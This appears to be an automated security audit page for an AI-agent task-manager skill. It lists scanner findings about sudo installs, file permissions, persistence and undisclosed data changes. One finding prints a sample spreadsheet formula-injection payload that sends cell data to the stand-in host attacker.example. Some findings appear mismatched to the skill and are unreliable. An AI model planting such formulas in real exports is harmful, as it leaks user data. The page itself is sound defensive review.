Project Manager Pro

• Outcome: Review
• Latest audit: Sep 16, 2026 · 4:16 AM UTC
• Version: 1.0.3

Overview

This appears to be a real local task manager, but it needs Review because setup can make system-level package changes and some automatic task-data changes are under-disclosed.

Before installing, review setup.sh and consider installing jq yourself rather than letting the skill run sudo. Use this only if you are comfortable storing task and project details as plaintext under ~/.openclaw/workspace/pm-pro, enabling scheduled check-ins, and optionally copying data from other tools into that store. Treat CSV exports as sensitive and be careful opening them in spreadsheet apps if task text may come from untrusted sources.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Warning

• Location: scripts/export-tasks.sh:90

Finding

Spreadsheet Formula Injection in CSV Task Exports

Content

View full analysis

"$OUTPUT" ``` ### Technical Analysis Task fields can contain content supplied through user conversations or cross-tool integrations. The export logic serializes these fields with `jq`'s `@csv`, but CSV quoting does not neutralize spreadsheet formulas. If a field begins with a spreadsheet formula marker such as `=`, `+`, `-`, or `@`, applications such as Microsoft Excel or LibreOffice Calc may interpret the cell as a formula when the exported file is opened. Replacing commas in the task title does not prevent this behavior. Other exported string fields—including IDs, projects, tags, statuses, and dates—are also not neutralized. An example malicious task title could be: ```text =HYPERLINK("https://attacker.example/collect?data="&A1,"Open task") ``` The exact effects depend on the spreadsheet application and its security configuration. Potential behavior includes external network requests, disclosure of spreadsheet data, misleading links, or execution of dangerous spreadsheet-specific functions. ### Attack Path 1. An attacker, untrusted conversation participant, or compromised cross-tool integration supplies a task field beginning with `=`, `+`, `-`, or `@`. 2. The agent stores the supplied value in `tasks.json`. 3. The user runs: ```bash ./scripts/export-tasks.sh csv ``` 4. The script writes the value into the CSV export without ...[truncated 1040 chars]

Remediation

View remediation

T09 · Insecure Skill Coding Practices

Note

• Location: scripts/setup.sh:35

Finding

Task Data, Archives, and Exports Are Created Without Owner-Only Permissions

Content

View full analysis

"$DATA_DIR/tasks.json" echo "📋 Initialized tasks.json" else TASK_COUNT=$(jq 'length' "$DATA_DIR/tasks.json") echo "📋 tasks.json exists ($TASK_COUNT tasks)" fi # Initialize projects.json if [ ! -f "$DATA_DIR/projects.json" ]; then echo "[]" > "$DATA_DIR/projects.json" echo "📁 Initialized projects.json" else PROJECT_COUNT=$(jq 'length' "$DATA_DIR/projects.json") echo "📁 projects.json exists ($PROJECT_COUNT projects)" fi ``` The check-in log is created in the same manner: ```bash if [ ! -f "$DATA_DIR/check-in-log.json" ]; then echo "[]" > "$DATA_DIR/check-in-log.json" echo "📝 Initialized check-in-log.json" else echo "📝 check-in-log.json exists" fi ``` Exports similarly rely on the caller's umask: ```bash mkdir -p "$(dirname "$OUTPUT")" ``` ```bash } > "$OUTPUT" ``` The weekly archive process also creates temporary and archive files without explicit permission controls: ```bash jq -r --arg cutoff "$ARCHIVE_CUTOFF" ' [.[] | select(.status == "done" and .completed_date != null and .completed_date < $cutoff)] ' "$TASKS_FILE" | jq -s ".[0] + .[1]" <(echo "$EXISTING") - > "${MONTH_FILE}.tmp" mv "${MONTH_FILE}.tmp" "$MONTH_FILE" jq --arg cutoff "$ARCHIVE_CUTOFF" ' [.[] | selec ...[truncated 2126 chars]

Remediation

View remediation

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep
• Rogue Agent: Self-Modification, Session Persistence
• Trigger Abuse: Overly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger

Findings (24)

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 60% confidence

Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · README.md (reported line 38)May include surrounding context.

2. Setup

Run the setup script to create the data directory:

bash

chmod 700 ~/.openclaw/skills/project-manager-pro/scripts/*.sh

Sudo/Root Execution

Medium

• Category: Privilege Escalation
• Confidence: 80% confidence

Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · README.md (reported line 41)May include surrounding context.

Run the setup script to create the data directory:

bash

chmod 700 ~/.openclaw/skills/project-manager-pro/scripts/*.sh
~/.openclaw/skills/project-manager-pro/scripts/setup.sh

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

The README says users can 'Just talk to your agent' and then perform task operations in plain language, but it does not define specific invocation phrases, scope limits, or negative examples. This broad conversational framing can overlap with ordinary speech and makes it unclear when the skill should activate versus when the agent should treat input as general conversation.

Content

No source excerpt is available for this finding.

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 80% confidence

Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · README.md (reported line 56)May include surrounding context.

md

### 4. Use

Just talk to your agent:
- "Add a task to review the contract by Thursday"
- "Break down the apartment move into subtasks"
- "What's on my plate today?"
- "Mark the dentist appointment as done"

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 80% confidence

Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · examples/example-project-breakdown.md (reported line 62)May include surrounding context.

md

### 4. Use

Just talk to your agent:
- "Add a task to review the contract by Thursday"
- "Break down the apartment move into subtasks"
- "What's on my plate today?"
- "Mark the dentist appointment as done"

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 89% confidence

Finding

The README describes storing tasks/projects in local JSON and exporting them in multiple formats without warning that this may include sensitive personal, financial, legal, health, or scheduling data. This is dangerous because users may expose private information through unprotected local files or exports without understanding the privacy implications.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium

• Category: Not specified by scanner
• Confidence: 87% confidence

Finding

The README states that the skill uses no cloud sync and implies local-only operation, yet also says jq may be installed automatically by setup.sh, which can require package manager or network access. This is dangerous because it creates a misleading trust boundary: users may run setup expecting only local filesystem changes, while the script could also fetch and install software from external sources.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium

• Category: Not specified by scanner
• Confidence: 86% confidence

Finding

The agent note 'If the user mentions tasks during setup, create them immediately' is broad enough that ordinary conversational input during onboarding could trigger task-creation side effects before the user has clearly consented to actions being taken. In a setup prompt, this increases the chance of unintended writes or automation from ambiguous user statements, especially because the prompt encourages free-form discussion of goals and projects.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 91% confidence

Finding

The setup instructions direct the agent to run setup.sh before the conversation and later write settings.json and create a data directory, but the user-facing markdown does not disclose that shell commands and file-system modifications will occur. Hidden side effects during installation/setup undermine informed consent and can be abused if setup.sh or the write locations are unsafe, especially because execution is instructed automatically before any user interaction.

Content

No source excerpt is available for this finding.

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 88% confidence

Finding

The skill instructs the agent to parse user statements into structured tasks and store them in a persistent local task database. This is persistent memory behavior that can retain sensitive personal, health, finance, or work information beyond the current session, especially because the skill emphasizes immediate creation from conversational cues.

Content

Scanner excerpt · SKILL.md (reported line 97)May include surrounding context.

md

When the user says something that implies a task, parse it into structured data. Use these patterns:

**Direct task creation:**
- "Add a task to call the dentist by Friday" → title: "Call the dentist", due: next Friday, priority: P3
- "I need to file taxes by April 15" → title: "File taxes", due: 2026-04-15, priority: P1 (deadline-driven)
- "Don't forget to buy groceries" → title: "Buy groceries", priority: P3, no due date
- "Remind me to review the pitch deck tomorrow morning" → title: "Review the pitch deck", due: tomorrow

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

The skill directs the agent to automatically ingest actionable items from other tools and persist them into the task store without clearly requiring explicit user consent or a prominent warning. This creates a privacy and integrity risk because data from separate contexts can be silently copied, surfaced later in check-ins, or retained longer than the user expects.

Content

No source excerpt is available for this finding.

Session Persistence

Medium

• Category: Rogue Agent
• Confidence: 91% confidence

Finding

The initialization flow explicitly creates a directory structure under the user's home directory and stores ongoing task data there. Persistent filesystem writes increase privacy risk and can leave durable records of user activities and schedules if the user is not clearly informed or if local permissions are weak.

Content

Scanner excerpt · SKILL.md (reported line 461)May include surrounding context.

Initialization

On first use, run the setup script or let the agent create the directory structure:

bash

~/.openclaw/workspace/pm-pro/scripts/setup.sh

Autonomous Decision Making

Medium

• Category: Excessive Agency
• Confidence: 75% confidence

Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 503)May include surrounding context.

md

- Create duplicate tasks — check for similar titles before creating
- Nag about the same overdue task more than once per check-in
- Create tasks from casual conversation ("I should really clean my desk" is not a task unless confirmed)
- Override user-set priorities without asking
- Send check-ins during configured quiet hours
- Make assumptions about project scope — ask before decomposing unless the user explicitly requests it

Intent-Code Divergence

Medium

• Category: Not specified by scanner
• Confidence: 95% confidence

Finding

The script’s stated purpose is only local workspace/store initialization, but it also performs package installation and invokes privileged system package managers. This mismatch is risky because users may run the setup expecting harmless local file creation while instead authorizing system-wide changes via brew or sudo, increasing the chance of unintended privilege use and supply-chain exposure.

Content

No source excerpt is available for this finding.

Sudo/Root Execution

Medium

• Category: Privilege Escalation
• Confidence: 89% confidence

Finding

The script invokes sudo to install jq via apt-get, which causes a setup routine to make privileged system changes. While not inherently malicious, embedding sudo in a skill setup script is dangerous because it expands the blast radius of execution and can normalize users granting elevated privileges to third-party automation.

Content

Scanner excerpt · scripts/setup.sh (reported line 18)May include surrounding context.

sh

if command -v brew &>/dev/null; then
        brew install jq
    elif command -v apt-get &>/dev/null; then
        sudo apt-get install -y jq
    elif command -v dnf &>/dev/null; then
        sudo dnf install -y jq
    else

Sudo/Root Execution

Medium

• Category: Privilege Escalation
• Confidence: 89% confidence

Finding

The script invokes sudo to install jq via dnf, again introducing privileged system modification into what appears to be a simple local initialization script. In the skill context, this is more dangerous because agent users may execute setup scripts with limited review, trusting the skill to only create local files, and sudo amplifies any present or future malicious changes.

Content

Scanner excerpt · scripts/setup.sh (reported line 20)May include surrounding context.

sh

elif command -v apt-get &>/dev/null; then
        sudo apt-get install -y jq
    elif command -v dnf &>/dev/null; then
        sudo dnf install -y jq
    else
        echo "❌ Could not install jq automatically."
        echo "   Install it manually: https://jqlang.github.io/jq/download/"

Intent-Code Divergence

Medium

• Category: Not specified by scanner
• Confidence: 95% confidence

Finding

The script is presented as a reporting-only weekly review generator, but it also performs state-changing archival and removes completed tasks from the active task file. This mismatch can cause operators or calling agents to invoke it in read-only contexts while unintentionally altering persisted data, increasing the risk of silent data loss or integrity issues.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 96% confidence

Finding

The script automatically modifies both the archive and active task files during what appears to be a summary/reporting operation, without prior warning or opt-in. In an agent-executed context, this is more dangerous because a scheduled or routine run can silently change user data, making recovery difficult if archival behavior is unexpected or incorrect.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low

• Category: Not specified by scanner
• Confidence: 83% confidence

Finding

The setup section says the script only creates a data directory, but later the README says jq is installed automatically if missing. This inconsistency is risky because users cannot accurately predict what the script will do, undermining informed consent and making it easier for unexpected system modifications to be hidden in setup behavior.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 86% confidence

Finding

The skill defines morning, evening, and weekly check-ins that the agent will initiate autonomously, but it does not prominently warn the user that the system may message on its own. While not directly enabling code execution or data exfiltration, this can surprise users, disclose task information in shared environments, and normalize unsolicited agent behavior.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 87% confidence

Finding

This markdown file states that widgets read directly from files under the user's home directory and display task, project, and check-in data, but it does not include any warning about privacy or visibility implications. Because SQP-2 applies to markdown files when behavior could affect user data or privacy, the omission is a legitimate documentation-level warning gap.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 87% confidence

Finding

This markdown example instructs the agent to set up Google Analytics and Meta Pixel, which can affect visitor privacy and data collection, but the surrounding skill description contains no warning or disclosure about tracking implications. For markdown files, SQP-2 applies when behaviors affecting user data or privacy are described without warnings.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low

• Category: Not specified by scanner
• Confidence: 86% confidence

Finding

The skill recommends testing the checkout flow with a real payment but gives no warning about possible charges, refunds, processor fees, or reconciliation issues. This could cause avoidable financial loss or confusion, especially if a user follows the checklist literally instead of using a sandbox or test mode.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low

• Category: Not specified by scanner
• Confidence: 88% confidence

Finding

The inline comment suggests the operation only appends to an archive, but the code also rewrites the active tasks file to remove archived items. Misleading maintenance comments increase the chance that reviewers, operators, or agents misunderstand the behavior and trigger unintended deletion from the active dataset.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.